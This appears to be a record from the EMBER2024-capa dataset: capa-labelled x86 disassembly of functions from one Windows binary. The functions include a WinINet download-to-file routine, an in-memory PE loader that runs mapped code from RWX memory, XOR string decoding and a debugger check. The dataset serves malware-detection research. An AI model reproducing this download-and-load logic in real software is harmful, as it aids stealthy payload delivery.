joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2685130
Capabilities:
Read file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esi]
mov ecx, dword [esi + 8]
push eax
push 1
push ecx
push edi
call fcn.026ac974
mov ecx, dword [esi + 8]
add esp, 0x10
cmp eax, 1
mov eax, ecx
sete bl
cdq
idiv dword [esi + 0x18]
mov byte [esp + 0x12], bl
mov dword [esi + 0x1c], eax
test bl, bl
je 0x26852a9
add dword [esi + 0x14], ecx
cmp dword [esi + 0x54], 8
push 0xffffffffffffffff
push eax
push 0x18
push ecx
mov ecx, esp
jb 0x2685183
mov eax, dword [esi + 0x40]
jmp 0x2685186
lea eax, [esi + 0x40]
mov dword [ecx], eax
push ecx
mov eax, esp
mov dword [eax], str.read
lea eax, [esi + 0x20]
push eax
mov dword [esp + 0x2c], eax
call fcn.02683780
mov ecx, dword [esi + 0x18]
mov ebx, dword [esi + 0x1c]
add esp, 0x18
xor ebp, ebp
xor eax, eax
cmp ecx, 1
sete byte [esp + 0x13]
test ebx, ebx
je 0x2685244
xor edx, edx
dec ebx
cmp byte [esp + 0x13], dl
je 0x26851c8
cmp byte [edi], dl
jmp 0x26851cc
cmp word [edi], 0
sete dl
test edx, edx
je 0x26851f6
test eax, eax
je 0x26851ef
cmp edi, eax
je 0x26851ef
imul ecx, ebp
mov edx, edi
sub edx, eax
push edx
push eax
sub eax, ecx
push eax
call fcn.026ad6f0
add esp, 0xc
mov ecx, dword [esi + 0x18]
lea eax, [ecx + edi]
inc ebp
add edi, ecx
test ebx, ebx
jne 0x26851bb
test eax, eax
je 0x2685219
cmp edi, eax
je 0x2685219
mov ecx, dword [esi + 0x18]
imul ecx, ebp
sub edi, eax
push edi
push eax
sub eax, ecx
push eax
call fcn.026ad6f0
add esp, 0xc
test ebp, ebp
je 0x2685244
mov edx, dword [esp + 0x14]
push 0xffffffffffffffff
push ebp
push 1
push ecx
mov eax, esp
push ecx
mov dword [eax], 0
mov eax, esp
push edx
mov dword [eax], str.nulls_removed
call fcn.02683780
add esp, 0x18
sub dword [esi + 0x1c], ebp
cmp dword [esi + 0x18], 1
jle 0x268529b
test byte [esi + 4], 0x80
je 0x268529b
mov esi, dword [esi + 0x1c]
test esi, esi
je 0x2685276
jmp 0x2685260
mov ecx, dword [esp + 0x1c]
movzx eax, word [ecx + esi*2 - 2]
dec esi
rol ax, 8
mov word [ecx + esi*2], ax
test esi, esi
jne 0x2685260
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push ecx
mov eax, esp
mov dword [eax], 0
push ecx
mov eax, esp
mov dword [eax], str.endian_swap
mov eax, dword [esp + 0x28]
push eax
call fcn.02683780
add esp, 0x18
mov al, byte [esp + 0x12]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4
push esi
call fcn.02684f10
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 8
ret 4
Function at 0x26857c0
Capabilities:
Write file on windows

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
mov esi, eax
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
imul ecx, eax
push edi
mov dword [esi + 8], ecx
test ebp, ebp
jne 0x26857dc
mov ebp, edx
mov ecx, dword [esi + 4]
xor edi, edi
test cl, cl
jns 0x2685856
test edx, edx
jne 0x2685815
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.026a97ff
mov edi, eax
mov eax, dword [esi + 0x1c]
add eax, eax
push eax
push ebp
push edi
call fcn.026b0d70
add esp, 0x10
mov edx, edi
mov ebp, edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x2685832
lea esp, [esp]
movzx ecx, word [edx + eax*2 - 2]
dec eax
rol cx, 8
mov word [edx + eax*2], cx
test eax, eax
jne 0x2685820
push 0xffffffffffffffff
push 0xffffffffffffffff
push 0
push ecx
mov eax, esp
push ecx
mov dword [eax], 0
mov eax, esp
lea ecx, [esi + 0x20]
push ecx
mov dword [eax], str.endian_swap
call fcn.02683780
add esp, 0x18
mov edx, dword [esi]
mov eax, dword [esi + 8]
push edx
push 1
push eax
push ebp
call fcn.026ad662
add esp, 0x10
cmp eax, 1
sete bl
test edi, edi
je 0x268587b
push edi
call fcn.026ac517
add esp, 4
test bl, bl
je 0x26858be
mov edx, dword [esi + 0x1c]
mov ecx, dword [esi + 8]
add dword [esi + 0x14], ecx
cmp dword [esi + 0x54], 8
push 0xffffffffffffffff
push edx
push 0x18
push ecx
mov ecx, esp
jb 0x268589b
mov eax, dword [esi + 0x40]
jmp 0x268589e
lea eax, [esi + 0x40]
push ecx
mov dword [ecx], eax
mov eax, esp
add esi, 0x20
push esi
mov dword [eax], str.write
call fcn.02683780
add esp, 0x18
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
ret 4
push esi
call fcn.02684f10
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
ret 4
Function at 0x2686c60
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x26c57a9
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov eax, dword [0x26d8160]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x30]
xor esi, esi
mov dword [esp + 0x18], esi
lea edi, [ebp + 4]
xor eax, eax
mov dword [ebp + 0x18], 7
mov dword [ebp + 0x14], esi
mov dword [esp + 0x1c], ebp
mov word [edi], ax
mov dword [esp + 0x28], esi
mov eax, dword [esp + 0x34]
mov dword [esp + 0x18], 1
mov ebx, eax
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x2686cc0
sub eax, edx
mov esi, dword [ebp + 0x14]
sar eax, 1
mov ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [ecx + eax + 7]
cmp esi, eax
ja 0x2686d11
cmp dword [ebp + 0x18], eax
je 0x2686d11
push 1
push eax
mov eax, ebp
call fcn.02681cf0
test al, al
je 0x2686d11
cmp dword [ebp + 0x18], 8
mov dword [ebp + 0x14], esi
jb 0x2686d0b
mov edi, dword [edi]
xor ecx, ecx
mov word [edi + esi*2], cx
movzx eax, word [ebx]
test ax, ax
je 0x2686e2b
mov esi, dword [esp + 0x38]
and esi, 0x100
mov dword [esp + 0x14], esi
test esi, esi
je 0x2686d48
lea edx, [eax - 0x22]
cmp dx, 0x1c
ja 0x2686e11
movzx ecx, ax
movsx edi, byte [ecx + 0x26d0576]
jmp 0x2686d5f
lea edx, [eax - 0x26]
cmp dx, 0x18
ja 0x2686e11
movzx ecx, ax
movsx edi, byte [ecx + 0x26d0592]
test edi, edi
je 0x2686e11
test byte [esp + 0x38], 8
je 0x2686de7
cmp ax, 0x26
jne 0x2686de7
movzx eax, word [ebx + 2]
lea esi, [ebx + 2]
lea edx, [eax - 0x23]
cmp dx, 0x57
ja 0x2686d92
movzx ecx, ax
movsx ecx, byte [ecx + 0x26d05b5]
test ecx, ecx
jne 0x2686d98
cmp ax, 0x7f
jbe 0x2686de7
movzx eax, word [esi + 2]
add esi, 2
cmp ax, 0x3b
je 0x2686dcf
lea edx, [eax - 0x2d]
cmp dx, 0x4d
ja 0x2686dbc
movzx ecx, ax
movsx ecx, byte [ecx + 0x26d060b]
test ecx, ecx
jne 0x2686dc2
cmp ax, 0x7f
jbe 0x2686de7
movzx eax, word [esi + 2]
add esi, 2
cmp ax, 0x3b
jne 0x2686da5
mov eax, esi
sub eax, ebx
sar eax, 1
inc eax
push eax
push ebx
mov eax, ebp
call fcn.02689f80
mov ebx, esi
mov esi, dword [esp + 0x14]
jmp 0x2686e1b
mov edx, dword [edi*4 + 0x26d96f4]
mov eax, edx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x2686df3
sub eax, esi
sar eax, 1
push eax
push edx
mov eax, ebp
call fcn.02689f80
mov esi, dword [esp + 0x14]
jmp 0x2686e1b
push 1
push ebx
mov eax, ebp
call fcn.02689f80
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
jne 0x2686d2b
mov eax, ebp
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x268ab50
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x408
mov eax, dword [0x26d8160]
xor eax, esp
mov dword [esp + 0x404], eax
push ebp
push esi
push edi
push 0x3ff
lea eax, [esp + 0x15]
push 0
push eax
mov esi, ecx
mov edi, edx
mov byte [esp + 0x1c], 0
call fcn.026b21f0
add esp, 0xc
push 0
push 0
push 0
push 0
push str.mbwkestanddll
mov dword [esp + 0x20], 1
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebp, eax
test ebp, ebp
je 0x268ac38
cmp dword [esi + 0x18], 8
jb 0x268abb4
mov esi, dword [esi + 4]
jmp 0x268abb7
add esi, 4
push 0
push 0x4000000
push 0
push 0
push esi
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
je 0x268ac31
push 0x26d0884
push edi
call fcn.026add86
mov edi, eax
add esp, 8
test edi, edi
je 0x268ac2a
cmp dword [esp + 0xc], 0
jbe 0x268ac21
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x10]
push ecx
push 0x3ff
lea edx, [esp + 0x1c]
push edx
push esi
call ebx
mov eax, dword [esp + 0x10]
push edi
push eax
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.026ad662
add esp, 0x10
cmp dword [esp + 0x10], 0
ja 0x268abf2
pop ebx
push edi
call fcn.026aca08
add esp, 4
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x410]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.026abe6e
add esp, 0x408
ret
Function at 0x268bab0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
sub esp, 0x10
push ebx
push esi
push 0x48
xor ebx, ebx
push ebx
push edi
call fcn.026b21f0
mov eax, dword [esp + 0x28]
push 0x26d09d0
push eax
call fcn.026add86
mov esi, eax
add esp, 0x14
cmp esi, ebx
jne 0x268bae0
pop esi
xor al, al
pop ebx
add esp, 0x10
ret
push esi
push 4
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.026ac974
push esi
push 4
lea edx, [esp + 0x28]
push 1
push edx
call fcn.026ac974
add esp, 0x20
cmp dword [esp + 0x10], ebx
mov dword [edi + 0x44], ebx
mov byte [esp + 0xb], bl
mov dword [esp + 0xc], ebx
jle 0x268bbd6
push ebp
lea ebp, [edi + 4]
lea ebx, [edi + 8]
lea ecx, [ecx]
push esi
push 4
push 1
push edi
call fcn.026ac974
push esi
push 4
push 1
push ebp
call fcn.026ac974
push esi
push 0x3c
push 1
push ebx
call fcn.026ac974
add esp, 0x30
mov eax, ebx
mov ecx, 0x3c
jmp 0x268bb50
xor byte [eax], 0x55
inc eax
sub ecx, 1
jne 0x268bb50
mov eax, dword [esp + 0x24]
push ebx
push eax
call fcn.026c11ee
add esp, 8
test eax, eax
je 0x268bb8e
mov eax, dword [esp + 0x10]
inc eax
cmp eax, dword [esp + 0x14]
mov dword [esp + 0x10], eax
jl 0x268bb20
pop ebp
push esi
call fcn.026aca08
mov al, byte [esp + 0xf]
add esp, 4
pop esi
pop ebx
add esp, 0x10
ret
mov ecx, dword [ebp]
inc ecx
push ecx
mov byte [esp + 0x13], 1
call fcn.026ae06e
mov edx, dword [edi]
push 0
push edx
push esi
mov dword [edi + 0x44], eax
call fcn.026ad2de
mov eax, dword [ebp]
mov ecx, dword [edi + 0x44]
push esi
push eax
push 1
push ecx
call fcn.026ac974
xor eax, eax
add esp, 0x20
cmp dword [ebp], eax
jbe 0x268bbd5
mov edx, dword [edi + 0x44]
xor byte [edx + eax], 0x55
lea ecx, [edx + eax]
inc eax
cmp eax, dword [ebp]
jb 0x268bbc5
pop ebp
push esi
call fcn.026aca08
mov al, byte [esp + 0xf]
add esp, 4
pop esi
pop ebx
add esp, 0x10
ret
Function at 0x268bc90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
cmp dword [ebx + 8], 0
push ebp
push esi
push edi
jne 0x268bd0f
mov eax, dword [esp + 0x14]
mov esi, ecx
mov edx, ebx
call fcn.0268c2a0
test eax, eax
je 0x268bd0f
mov eax, ebx
call fcn.0268c330
mov ebp, eax
test ebp, ebp
je 0x268bd0f
push 0x40
push 0x3000
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x268bd0f
mov eax, dword [esp + 0x14]
push eax
push edi
mov esi, ebx
call fcn.0268c3b0
mov eax, dword [ebx + 0x10]
cmp dword [eax + 0xa0], 0
jbe 0x268bcf6
cmp dword [eax + 0xa4], 0
jbe 0x268bcf6
push ebx
call fcn.0268be90
push ebx
mov ecx, edi
call fcn.0268bf10
test eax, eax
jne 0x268bd18
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebp
pop ecx
ret 4
lea ecx, [esp + 0x14]
push ecx
push 0x40
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebx + 0x10]
mov dword [edx + 0x34], edi
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax + 0x28]
push 0
push 1
lea eax, [ecx + edi]
push edi
mov dword [ebx + 4], eax
call eax
test eax, eax
jne 0x268bd6a
mov edx, dword [ebx + 4]
push eax
push eax
push edi
call edx
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebx + 4], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ecx
ret 4
mov dword [ebx + 8], edi
pop edi
pop esi
mov dword [ebx], 1
mov eax, 1
pop ebp
pop ecx
ret 4

Function at 0x268c2a0
Capabilities:
Parse pe header

Disassembly:
cmp esi, 0x40
jae 0x268c2a8
xor eax, eax
ret
mov ecx, 0x5a4d
mov dword [edx + 0xc], eax
cmp word [eax], cx
jne 0x268c2a5
mov ecx, dword [eax + 0x3c]
push edi
lea edi, [ecx + 0xf8]
cmp esi, edi
jb 0x268c326
add eax, ecx
mov dword [edx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x268c326
movzx ecx, word [eax + 0x16]
test ecx, 0x2000
je 0x268c326
test cl, 2
je 0x268c326
mov ecx, pe_nt_image_headers32
cmp word [eax + 0x14], cx
jne 0x268c326
mov edi, dword [edx + 0x10]
push ebx
lea ecx, [eax + 0xf8]
xor ebx, ebx
mov dword [edx + 0x14], ecx
xor eax, eax
cmp bx, word [edi + 6]
pop ebx
jae 0x268c31f
add ecx, 0x10
mov edi, dword [ecx + 4]
add edi, dword [ecx]
cmp edi, esi
ja 0x268c326
mov edi, dword [edx + 0x10]
movzx edi, word [edi + 6]
inc eax
add ecx, 0x28
cmp eax, edi
jl 0x268c307
mov eax, 1
pop edi
ret
xor eax, eax
pop edi
ret
Function at 0x268c3b0
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esi + 0x10]
movzx ecx, word [eax + 6]
mov edx, dword [eax + 0x54]
push ebx
lea ecx, [ecx + ecx*4]
push ebp
mov ebp, dword [esp + 0xc]
lea eax, [edx + ecx*8]
mov ecx, dword [esp + 0x10]
push eax
push ecx
push ebp
call fcn.026b0d70
mov edx, dword [esi + 0x10]
xor eax, eax
add esp, 0xc
xor ebx, ebx
cmp ax, word [edx + 6]
jae 0x268c41d
push edi
xor edi, edi
mov ecx, dword [esi + 0x14]
lea eax, [ecx + edi]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x268c40d
mov edx, dword [eax + 0x10]
test edx, edx
je 0x268c40d
push edx
mov edx, dword [eax + 0x14]
add edx, dword [esp + 0x18]
add ecx, ebp
push edx
push ecx
call fcn.026b0d70
add esp, 0xc
mov eax, dword [esi + 0x10]
movzx ecx, word [eax + 6]
inc ebx
add edi, 0x28
cmp ebx, ecx
jl 0x268c3e5
pop edi
mov dword [esi + 0xc], ebp
mov edx, dword [ebp + 0x3c]
lea eax, [edx + ebp]
mov dword [esi + 0x10], eax
add eax, 0xf8
pop ebp
mov dword [esi + 0x14], eax
pop ebx
ret 8

Function at 0x268d760
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push edi
push 0x26d0a64
call esi
push str.dsound.dll
mov ebx, eax
call esi
push str.Winmm.dll
mov ebp, eax
call esi
mov edi, eax
test ebx, ebx
je 0x268d839
test ebp, ebp
je 0x268d839
test edi, edi
je 0x268d839
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CoCreateInstance
push ebx
call esi
push str.CoGetClassObject
push ebx
mov dword [0x26dabc8], eax
call esi
push str.DirectSoundCreate8
push ebp
mov dword [0x26dabcc], eax
call esi
push str.DirectSoundCreate
push ebp
mov dword [0x26dabe0], eax
call esi
push str.waveOutOpen
push edi
mov dword [0x26dabd4], eax
call esi
push str.midiStreamOpen
push edi
mov dword [0x26dabd0], eax
call esi
push str.waveOutWrite
push edi
mov dword [0x26dabd8], eax
call esi
push str.PlaySoundW
push edi
mov dword [0x26dabdc], eax
call esi
push str.mmioOpenW
push edi
mov dword [0x26dabe4], eax
call esi
push str.mixerOpen
push edi
mov dword [0x26dabe8], eax
call esi
push str.sndPlaySoundW
push edi
mov dword [0x26dabec], eax
call esi
pop edi
pop esi
pop ebp
mov dword [0x26dabf0], eax
mov al, 1
pop ebx
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
Function at 0x268da10
Capabilities:
Accept command line arguments
Create thread

Disassembly:
sub esp, 0x30
push ebx
push esi
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
mov dword [esp + 0x14], esi
cmp esi, ebx
je 0x268dc09
mov eax, dword [esp + 0xc]
cmp eax, 3
push ebp
mov byte [esp + 0xf], bl
jl 0x268da7a
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x24], ebx
call fcn.0269bfc0
test al, al
je 0x268dc01
mov ebp, dword [esp + 0x14]
mov byte [esp + 0xf], 1
jmp 0x268da8f
cmp eax, 2
jl 0x268da84
mov ebp, dword [esi + 4]
jmp 0x268da8f
cmp eax, 1
jl 0x268dc01
mov ebp, dword [esi]
cmp ebp, ebx
je 0x268dc01
mov eax, ebp
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x268daa0
sub eax, edx
sar eax, 1
lea esi, [eax + eax + 1]
xor ecx, ecx
mov eax, esi
mov edx, 2
mul edx
seto cl
push edi
neg ecx
or ecx, eax
push ecx
call fcn.026a97ff
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x268dbe0
lea eax, [esi + esi]
push eax
push ebx
push edi
call fcn.026b21f0
push edi
push ebp
call fcn.0268dc20
add esp, 0x14
call fcn.0268dd20
mov esi, eax
call fcn.02697c70
test al, al
je 0x268dbd7
call fcn.026902d0
mov ecx, eax
call fcn.0269b190
test al, al
je 0x268dbd2
call fcn.026902d0
call fcn.0269b6c0
call fcn.026902d0
mov esi, eax
call fcn.0269be70
test al, al
je 0x268dbd2
push 0xec
call fcn.026ac275
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x268db58
push 0xec
push ebx
push esi
call fcn.026b21f0
add esp, 0xc
jmp 0x268db5a
xor esi, esi
mov dword [esi], ebx
mov dword [esi + 0xdc], 0x1343b7f
call fcn.026902d0
mov ecx, dword [eax + 0x1c]
push esi
push str.mbInit
push ecx
call fcn.0268bd80
call eax
call fcn.0268dde0
call fcn.026902d0
lea ecx, [esp + 0x24]
call fcn.0269b5b0
cmp dword [eax + 0x18], 8
jb 0x268db9a
mov eax, dword [eax + 4]
jmp 0x268db9d
add eax, 4
push eax
call dword [0x26db0c0]
lea esi, [esp + 0x24]
call fcn.0268aa30
push 1
push ebx
call dword [0x26daf4c]
push ebx
push ebx
push ebx
push 0x268d9c0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.026902d0
mov ecx, eax
call fcn.0269baa0
call fcn.0268dcc0
push edi
call fcn.026ac517
add esp, 4
pop edi
cmp byte [esp + 0xf], bl
je 0x268dbfd
push ebp
call fcn.026ac517
add esp, 4
call fcn.0268dd20
mov edx, dword [eax]
push edx
call fcn.0269c0c0
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
call fcn.0268dd20
mov eax, dword [eax]
pop esi
pop ebx
add esp, 0x30
ret 0x10
Function at 0x268dc20
Capabilities:
Encode data using xor

Disassembly:
xor al, al
cmp dword [esp + 8], 0
push ebp
mov ebp, dword [esp + 8]
je 0x268dcb7
test ebp, ebp
je 0x268dcb7
mov eax, ebp
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x268dc40
sub eax, edx
push ebx
sar eax, 1
shr eax, 1
push esi
mov ebx, eax
push edi
lea edi, [ebx + 2]
push edi
call fcn.026a97ff
mov esi, eax
add esp, 4
test esi, esi
je 0x268dcb2
push edi
push 0
push esi
call fcn.026b21f0
push esi
push ebp
mov eax, ebx
call fcn.026817d0
add esp, 0x14
xor eax, eax
test ebx, ebx
jbe 0x268dc8b
xor byte [eax + esi], bl
inc eax
cmp eax, ebx
jb 0x268dc83
mov ecx, dword [esp + 0x18]
lea eax, [ebx + ebx]
push eax
push ecx
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
mov bl, 1
call fcn.026ac517
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret
Function at 0x26908a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x26c6e90
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x26d8160]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [esp + 0x20], ebx
xor ebp, ebp
mov dword [esp + 0x48], ebp
cmp dword [esp + 0x64], ebp
jbe 0x2690a60
push str.pa_
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
xor eax, eax
mov dword [ecx + 0x18], 7
mov dword [ecx + 0x14], ebp
push 0xffffffffffffffff
mov word [ecx + 4], ax
push ebp
lea eax, [esp + 0x78]
call fcn.02681a30
lea ecx, [esp + 0x44]
call fcn.026916f0
mov byte [esp + 0x48], 1
mov edi, dword [esp + 0x34]
mov esi, dword [esp + 0x30]
mov ecx, edi
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
je 0x2690a25
mov dword [esp + 0x18], ebp
push 0x80
call fcn.026ac275
add esp, 4
test eax, eax
je 0x269095a
mov esi, eax
call fcn.02691e10
mov esi, eax
jmp 0x269095c
xor esi, esi
mov dword [esp + 0x1c], esi
test esi, esi
je 0x26909f8
mov eax, dword [ebx + 4]
push eax
mov dword [esi + 0x38], eax
call dword [0x26daf3c]
mov dword [esi + 0x34], eax
mov edx, dword [ebx + 0x50]
sub edx, dword [ebx + 0x4c]
mov ecx, dword [esp + 0x34]
sub ecx, dword [esp + 0x30]
lea edi, [ebx + 0x40]
sar edx, 2
push edx
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp ebp, eax
jb 0x26909a9
call fcn.026acc6b
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x1c]
sub esp, 0x1c
lea eax, [ecx + edx]
mov ecx, esp
mov dword [esp + 0x5c], esp
xor edx, edx
push 0xffffffffffffffff
mov dword [ecx + 0x18], 7
mov dword [ecx + 0x14], 0
push edx
mov word [ecx + 4], dx
call fcn.02681a30
push esi
call fcn.02691ee0
lea ebx, [esp + 0x1c]
call fcn.02691bd0
cmp byte [esp + 0x6c], 0
jne 0x26909f4
call fcn.026834e0
mov ebx, dword [esp + 0x20]
mov edi, dword [esp + 0x34]
mov esi, dword [esp + 0x30]
add dword [esp + 0x18], 0x1c
mov ecx, edi
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc ebp
add eax, edx
cmp ebp, eax
jb 0x269093e
xor ebp, ebp
cmp esi, ebp
je 0x2690a47
mov ecx, dword [esp + 0x3c]
push ecx
mov eax, esi
call fcn.02683330
mov edx, dword [esp + 0x34]
add esp, 4
push edx
call fcn.026ac1d2
add esp, 4
mov eax, dword [esp + 0x24]
push eax
mov dword [esp + 0x34], ebp
mov dword [esp + 0x38], ebp
mov dword [esp + 0x3c], ebp
call fcn.026ac1d2
add esp, 4
cmp byte [esp + 0x6c], 0
je 0x2690a9d
mov ecx, dword [ebx + 0x24]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x2690a9d
mov edx, dword [ebx + 0x24]
push 0x2711
push edx
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [ebx + 0x24]
push 0x2691360
push 0x3e8
push 0x2712
push eax
call dword [sym.imp.USER32.dll_SetTimer]
cmp dword [esp + 0x68], 8
jb 0x2690ab1
mov ecx, dword [esp + 0x54]
push ecx
call fcn.026ac1d2
add esp, 4
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0x20
Function at 0x26911b0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x50]
sub ecx, dword [edi + 0x4c]
add edi, 0x40
sar ecx, 2
xor eax, eax
test ecx, ecx
jbe 0x26911e5
mov ecx, dword [edi + 0x10]
sub ecx, dword [edi + 0xc]
sar ecx, 2
lea ebx, [ebx]
inc eax
cmp eax, ecx
jb 0x26911e0
mov esi, dword [edi + 0xc]
cmp esi, dword [edi + 0x10]
jbe 0x26911f2
call fcn.026acc6b
mov ebx, dword [edi]
mov dword [esp + 0x14], esi
mov esi, dword [edi + 0x10]
cmp dword [edi + 0xc], esi
jbe 0x2691205
call fcn.026acc6b
mov eax, dword [edi]
test ebx, ebx
je 0x269120f
cmp ebx, eax
je 0x2691214
call fcn.026acc6b
cmp dword [esp + 0x14], esi
je 0x26912db
test ebx, ebx
jne 0x26912d0
call fcn.026acc6b
xor eax, eax
mov edx, dword [esp + 0x14]
cmp edx, dword [eax + 0x10]
jb 0x269123b
call fcn.026acc6b
mov eax, dword [esp + 0x14]
mov esi, dword [eax]
test esi, esi
je 0x26912ad
mov eax, dword [esi + 8]
mov byte [esi + 0x2c], 0
test eax, eax
je 0x2691257
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [esi + 4]
test eax, eax
je 0x269128e
push 0x2710
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x269127d
mov ecx, dword [esi + 4]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [esi + 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0
mov eax, dword [esi + 8]
test eax, eax
je 0x26912a3
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 8], 0
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
test ebx, ebx
jne 0x26912d7
call fcn.026acc6b
xor eax, eax
mov ecx, dword [esp + 0x14]
cmp ecx, dword [eax + 0x10]
jb 0x26912c6
call fcn.026acc6b
add dword [esp + 0x14], 4
jmp 0x26911f8
mov eax, dword [ebx]
jmp 0x269122d
mov eax, dword [ebx]
jmp 0x26912b8
mov eax, dword [edi + 0x10]
mov dword [esp + 0x10], eax
cmp dword [edi + 0xc], eax
jbe 0x26912ec
call fcn.026acc6b
mov esi, dword [edi + 0xc]
mov ebx, dword [edi]
cmp esi, dword [edi + 0x10]
jbe 0x26912fb
call fcn.026acc6b
mov edx, dword [esp + 0x10]
mov eax, dword [edi]
push edx
push ebx
push esi
push eax
lea ebx, [esp + 0x20]
mov esi, edi
call fcn.02691ce0
mov esi, dword [ebp + 8]
mov edi, dword [esi + 0x38]
add esi, 0x28
cmp dword [esi + 0xc], edi
jbe 0x2691323
call fcn.026acc6b
mov ebx, dword [esi + 0xc]
mov eax, dword [esi]
mov dword [esp + 0x10], eax
cmp ebx, dword [esi + 0x10]
jbe 0x2691336
call fcn.026acc6b
mov ecx, dword [esp + 0x10]
mov eax, dword [esi]
push edi
push ecx
push ebx
push eax
lea ebx, [esp + 0x20]
call fcn.02691ce0
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4